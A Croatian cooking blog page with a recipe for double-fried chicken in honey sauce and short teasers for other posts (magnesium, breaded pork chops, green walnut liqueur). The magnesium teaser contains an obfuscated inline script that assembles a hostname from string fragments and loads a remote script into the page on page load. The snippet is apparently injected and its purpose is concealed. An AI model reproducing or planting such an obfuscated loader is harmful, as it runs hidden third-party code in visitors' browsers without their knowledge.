PILETINA U UMAKU OD MEDA 🍯 🐔




Piletina u umaku od meda 



Ako volite azijska jela i hrskavu prženu piletinu, ovaj recept za piletinu u umaku od meda bi vam se mogao svidjeti. Tajna savršene teksture krije se u duplom prženju koje stvara laganu i izrazito hrskavu koricu, dok sočni komadići pilećih zabataka ostaju divno mekani iznutra.





Piletina u umaku od meda 


Sastojci:

Za piletinu

  • 450 g pilećih zabataka bez kosti i kože
  • 1 čajna žličica umaka od soje
  • 1/4 čajne žličice soli
  • 1/4 čajne žličice svježe mljevenog crnog papra
  • 30 g kukuruznog škroba
  • oko 950 ml ulja, za prženje

Za smjesu za pohanje

  • 95 g kukuruznog škroba
  • 30 g glatkog brašna
  • 1/2 čajne žličice praška za pecivo
  • 1/2 čajne žličice soli
  • 120 ml ledeno hladne vode
  • 1 bjelanjak

Za umak

  • 85 g meda
  • 2 čajne žličice umaka od soje
  • 1 čajna žličica svijetlog kukuruznog sirupa (po želji može i dodatna žličica meda)
  • 1 čajna žličica jabučnog ili vinskog octa
  • 2 češnja češnjaka, sitno nasjeckana ili naribana
  • 1 žlica preprženog sezama
  • 1 mladi luk, tanko narezan



Priprema:

  1. Pileće zabatke posušite papirnatim ručnikom pa narežite na komade veličine zalogaja.
  2. U zdjeli pomiješajte piletinu, soja umak, sol i papar. Dodajte 30 g kukuruznog škroba i dobro promiješajte kako bi svaki komad bio ravnomjerno obložen. Ostavite u hladnjaku dok pripremate ostatak sastojaka.
  3. U jednoj zdjeli pomiješajte kukuruzni škrob, brašno, prašak za pecivo i sol.
  4. U drugoj zdjeli lagano umutite ledeno hladnu vodu i bjelanjak pa ulijte među suhe sastojke. Promiješajte tek toliko da se sastojci sjedine. Smjesa treba biti nešto gušća, ali još uvijek tekuća. Nemojte je previše miješati.
  5. U dubljem loncu zagrijte ulje na otprilike 175 stupnjeva..
  6. Komade piletine uronite u smjesu za pohanje. Višak lagano ocijedite uz rub zdjele pa pažljivo spuštajte u zagrijano ulje.
  7. Pržite u nekoliko manjih tura oko 4 minute. Piletina će biti pečena, ali će korica ostati svijetla. Izvadite je na rešetku ili papirnati ubrus.
  8. Zagrijte ulje na 200 stupnjeva.
  9. Ponovno pržite piletinu u dvije ture oko 2 minute, odnosno dok ne dobije intenzivnu zlatnosmeđu boju i postane izrazito hrskava.
  10. Izvadite na rešetku ili ubrus.
  11. U manjem loncu pomiješajte med, soja umak, kukuruzni sirup, ocat i češnjak. Uz neprestano miješanje zagrijavajte dok umak ne zakipi. Maknite s vatre.
  12. Dodajte prženu piletinu i lagano promiješajte kako bi svaki komad bio ravnomjerno obložen umakom. Pospite preprženim sezamom i narezanim mladim lukom te odmah poslužite.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više